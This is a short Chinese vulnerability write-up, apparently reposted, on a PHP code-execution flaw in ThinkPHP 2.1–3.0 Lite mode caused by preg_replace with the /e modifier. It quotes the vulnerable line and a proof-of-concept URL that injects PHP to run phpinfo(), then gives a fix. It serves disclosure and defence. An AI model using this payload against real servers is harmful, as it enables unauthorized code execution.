首页 > 代码库 > ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞
ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞
在开启了Lite模式后,在ThinkPHP/extend/Mode/Lite/Dispatcher.class.php中第73行:
// 解析剩余的URL参数
$res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]=“\\2\;”‘, implode($depr,$paths));
有两点:一是加入了preg_replace使用了e修饰符,二是‘$var[\‘\\1\‘]="\\2\;"‘中双引号中的PHP代码可以直接被执行。
比如:
http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D
就会执行phpinfo()函数,打印出phpinfo页。
预防:
官方已经给出了补丁,也可以自行将双引号改成单引号防止PHP代码被解析。
ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。